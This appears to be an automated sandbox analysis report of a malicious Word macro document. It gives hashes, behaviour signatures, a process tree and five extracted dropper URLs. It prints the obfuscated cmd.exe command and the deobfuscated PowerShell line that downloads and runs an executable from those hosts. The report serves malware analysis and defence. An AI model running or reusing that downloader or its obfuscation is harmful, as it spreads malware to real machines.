Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    26-05-2024 02:11

General

  • Target

    7404ebd4dec5eea586afc4b4a020e294_JaffaCakes118.doc

  • Size

    70KB

  • MD5

    7404ebd4dec5eea586afc4b4a020e294

  • SHA1

    374ef9c64d3649d4951ae816ad4507346dbba609

  • SHA256

    3d1d782eab81acc5eaab2e00bef6c52112f5511aeae6cc13236f99cdbf252f47

  • SHA512

    ad0e418cec3d5881d41ec94106b5308079d126af947d43cbccc516d0affcaa90ff03d16ff78b49005030791a7413853d61c00bfb0625d5abf507901009a119d0

  • SSDEEP

    768:BpJcaUitGAlmrJpmxlzC+w99NBE+1oIouCkqeW23/rMlnv:BptJlmrJpmxlRw99NBE+aID1/rI

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://boloshortolandia.com/ozylgj6Z6

exe.dropper

http://ncvascular.com.au/69V3Cpx

exe.dropper

http://inmayjose.es/IB8JhFSXiV

exe.dropper

http://lalievre.ca/O0Pmale

exe.dropper

http://makmedia.ch/b5jSC1b

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 12 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7404ebd4dec5eea586afc4b4a020e294_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2460
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2148
      • C:\Windows\SysWOW64\cmd.exe
        cmd /V^:^ON/C"^s^e^t ^i^T=^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{^hc^t^ac^};ka^erb^;^Hnd$^ me^tI-^e^kovn^I^;)Hn^d^$^ ^,^w^jW^$(^e^liFd^a^o^lnwo^D.^jk^d^${yr^t{)ICz$^ ni ^w^jW$(hc^aero^f^;^'ex^e.'+Tv^s$+'\^'^+c^i^l^bup:vne$^=Hn^d$;^'22'^ ^=^ ^Tvs$;)^'^@'(ti^l^p^S^.'^b^1C^Sj^5b/hc^.aidemk^am//:^p^tt^h^@^el^a^m^P^0^O/ac.^erv^eil^al//:^pt^t^h@ViXSF^h^J^8^B^I/s^e^.^es^o^j^y^amni//^:^p^t^t^h@x^pC3V96/^ua^.moc^.r^a^l^uc^s^avcn//:p^tth^@6^Z6^j^glyz^o/moc.^aidn^a^l^otro^hs^o^lo^b//:p^tth'^=ICz$^;tneilCb^e^W.t^eN^ ^tc^e^j^b^o-wen^=^j^k^d^$ ^l^lehsre^wop&&^f^or /^L %^M ^in (3^64^;^-^1;0)d^o ^s^e^t Cr^9^S=!Cr^9^S!!^i^T:~%^M,1!&&i^f %^M=^=^0 c^a^ll %Cr^9^S:^~^6%"
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2656
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $dkj=new-object Net.WebClient;$zCI='http://boloshortolandia.com/ozylgj6Z6@http://ncvascular.com.au/69V3Cpx@http://inmayjose.es/IB8JhFSXiV@http://lalievre.ca/O0Pmale@http://makmedia.ch/b5jSC1b'.Split('@');$svT = '22';$dnH=$env:public+'\'+$svT+'.exe';foreach($Wjw in $zCI){try{$dkj.DownloadFile($Wjw, $dnH);Invoke-Item $dnH;break;}catch{}}
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2564

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      a609a8929879f3ece79540b46573327c

      SHA1

      fe66a78031b98d7d3cec528e5ae75f0d5aa90140

      SHA256

      b55671b6bb69389619ef058f734c776201f6a16051d1c33f34fcb1f4b7d2ca99

      SHA512

      bea7e8e5e22f1f9d81cb1caaa7f83714642035fc0c98441bcd6e5bdb3588abd3c55a65d385c203733d278f778e651bca8de6a4339b8faaa7df68f0d452c56d79

    • memory/2460-11-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-48-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB

    • memory/2460-14-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-17-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-24-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-22-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-21-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-20-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-7-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-2-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB

    • memory/2460-10-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-8-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-6-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-9-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-31-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB

    • memory/2460-32-0x00000000004F0000-0x00000000005F0000-memory.dmp

      Filesize

      1024KB

    • memory/2460-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2460-47-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2460-0-0x000000002FC61000-0x000000002FC62000-memory.dmp

      Filesize

      4KB